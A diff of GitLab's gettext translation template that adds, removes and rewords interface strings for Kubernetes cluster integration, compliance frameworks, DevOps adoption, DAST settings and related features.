msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
